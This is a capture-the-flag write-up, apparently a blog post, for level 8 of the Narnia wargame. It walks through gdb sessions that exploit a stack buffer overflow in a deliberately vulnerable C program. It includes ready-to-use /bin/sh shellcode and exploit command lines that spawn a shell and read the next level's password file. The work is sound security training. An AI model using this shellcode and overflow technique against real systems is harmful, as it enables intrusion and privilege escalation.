Level 8
WARNING: this is quite the brain dump as opposed to a coherent post. I’m aiming to re-write this at some point.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
The for loop is interesting - we copy data from blah into bok until we hit a null byte. There is no boundary check at all, which gives us the ability to overflow bok.
With this we should be able to overwrite funcs return address to main with something of our choosing. Let’s see this in gdb:
narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20]
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0
0x0804845e <+49>: jmp 0x8048486 <func+89>
0x08048460 <+51>: mov eax,ds:0x80497b8
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc]
0x08048470 <+67>: add edx,ecx
0x08048472 <+69>: movzx edx,BYTE PTR [edx]
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1
0x08048481 <+84>: mov ds:0x80497b8,eax
0x08048486 <+89>: mov eax,ds:0x80497b8
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax]
0x08048495 <+104>: test al,al
0x08048497 <+106>: jne 0x8048460 <func+51>
0x08048499 <+108>: lea eax,[ebp-0x20]
0x0804849c <+111>: mov DWORD PTR [esp+0x4],eax
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
(gdb) break *0x0804849c
Breakpoint 1 at 0x804849c
Breakpoint 1 at 0x804849c
(gdb) r $(python -c 'print "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffffd8e9
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd718 0x080484cd
0xffffd700: 0xffffd8e9 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) x/x 0x080484cd
0x80484cd <main+31>: 0x458b15eb
(gdb) x/s 0xffffd8e8
0xffffd8e8: 'D' <repeats 20 times>
The return value from func back to main is a couple of addresses down. We also see the arguments we passed in. Can we overwrite that?
(gdb) r $(python -c 'print "D"*40')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*40')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0: 0xffffd6c8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6d0: 0x44444444 0x44444444 0x44444444 0xffffd844
0xffffd6e0: 0x00000002 0xffffd7a4 0xffffd708 0x080484cd
0xffffd6f0: 0xffffd8d4 0xf7ffd000 0x080484fb 0xf7fcc000
Wait what? We’re not overflowing anything!
Actually that’s not quite true. 0xffffd8e9, blah’s address, has been changed to 0xffffd844 - 0x44 being the last byte we wrote. So technically if we changed that to 0xe9 we could keep the address intact.
(gdb) r $(python -c 'print "D"*20 + "\xe9"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffff48e9
Progress, but now the next byte is off. Can we simply add the second chunk of our desired address, 0xd8?
(gdb) r $(python -c 'print "D"*20 + "\xe9\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9\xd8"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffff48e9
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd718 0x080484cd
0xffffd700: 0xffffd8e6 0xf7ffd000 0x080484fb 0xf7fcc000
That did not work - and there’s a simple reason for that. Let’s see what is at our expected address:
(gdb) x/s 0xffffd8e9
0xffffd8e9: 'D' <repeats 17 times>, "\351\330"
(gdb) x/s 0xffffd8e6
0xffffd8e6: 'D' <repeats 20 times>, "\351\330"
Because of our extra character the address for b shifted down. We need to take that into account:
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffffd8e6
Looking better! But we need to understand how the address shifts:
(gdb) break *0x08048449
Breakpoint 3 at 0x8048449
(gdb) delete 1
(gdb) delete 2
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e6
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8D"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8D"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e5
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8DD"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8DD"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e4
So for every byte we add, b’s address shifts down by 1. Adding another 2 bytes for the address and another 20 D’s would mean b’s address will become 0xffffd8e6-22:
(gdb) p/x 0xffffd8e6-22
$16 = 0xffffd8d0
With this in mind let’s see if we can overflow:
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 4, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0: 0xffffd6c8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6d0: 0x44444444 0x44444444 0x44444444 0xffffd8d0
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6f0: 0x44444444 0xf7ffd000 0x080484fb 0xf7fcc000
Success! We’re getting there. With this we can overwrite func’s return value - though it needs to be meaningful. We’ll store our shellcode in an environment variable. We can get the variable’s address with the code below:
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char* argv[])
{
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
narnia8@narnia:/tmp$ export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"
narnia8@narnia:/tmp$ gcc -m32 getenv.c -o getenv8
narnia8@narnia:/tmp$ ./getenv8 SHELLCODE
SHELLCODE is at 0xffffd882
narnia8@narnia:/tmp$ echo $SHELLCODE | wc
1 1 141
narnia8@narnia:/narnia$ export SHELLCODE=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20]
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0
0x0804845e <+49>: jmp 0x8048486 <func+89>
0x08048460 <+51>: mov eax,ds:0x80497b8
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc]
0x08048470 <+67>: add edx,ecx
0x08048472 <+69>: movzx edx,BYTE PTR [edx]
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1
0x08048481 <+84>: mov ds:0x80497b8,eax
0x08048486 <+89>: mov eax,ds:0x80497b8
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax]
0x08048495 <+104>: test al,al
0x08048497 <+106>: jne 0x8048460 <func+51>
0x08048499 <+108>: lea eax,[ebp-0x20]
0x0804849c <+111>: mov DWORD PTR [esp+0x4],eax
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
(gdb) break *0x080484a7
Breakpoint 1 at 0x80484a7
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $sp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55fe3
0xffffd680: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xffff0bd0
0xffffd6a0: 0x00000002 0xffffd764 0xffffd6c8 0x080484cd
0xffffd6b0: 0xffffd8a2 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) break 0x08048449
Function "0x08048449" not defined.
Make breakpoint pending on future shared library load? (y or [n]) n
(gdb) break *0x08048449
Breakpoint 2 at 0x8048449
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) x/x ebp-0xc
No symbol table is loaded. Use the "file" command.
(gdb) x/x $ebp-0xc
0xffffd69c: 0xffffd8a2
(gdb) p/x 0xffffd8a2-22
$1 = 0xffffd88c
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) n
Single stepping until exit from function func,
which has no line number information.
Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55fe3
0xffffd680: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xffffd8a2
0xffffd6a0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6b0: 0x44444444 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) x/x 0x080484fb
0x80484fb <__libc_csu_init+11>: 0x1295c381
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) x/s *((char **)environ)
0xffffd8cf: "SHELLCODE=1\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200"
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')
Breakpoint 2, 0x08048449 in func ()
(gdb) c
Continuing.
Breakpoint 1, 0x080484a7 in func ()
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
process 486 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048449
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a7
We now need to do this outside of gdb, which sounds much easier than it is. For starters the environment in gdb is different - which means b’s address will be different too. However we do know from the source code that bok will be printed until it hits a null byte. This means that if we fill it with 20 non-null bytes, the next one will be b’s address.
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20') | xxd
0000000: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
0000010: 4444 4444 ccd8 ffff 020a DDDD......
narnia8@narnia:/narnia$ python -c 'print "{:8x}".format(0xffffd8cc-24)'
ffffd8b4
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "D"*20' )
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5' )
File "<string>", line 1
print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5
^
SyntaxError: EOL while scanning string literal
./narnia8 argument
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff"*5' )
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
$ cat /etc/narnia_pass/narnia9
*** password ***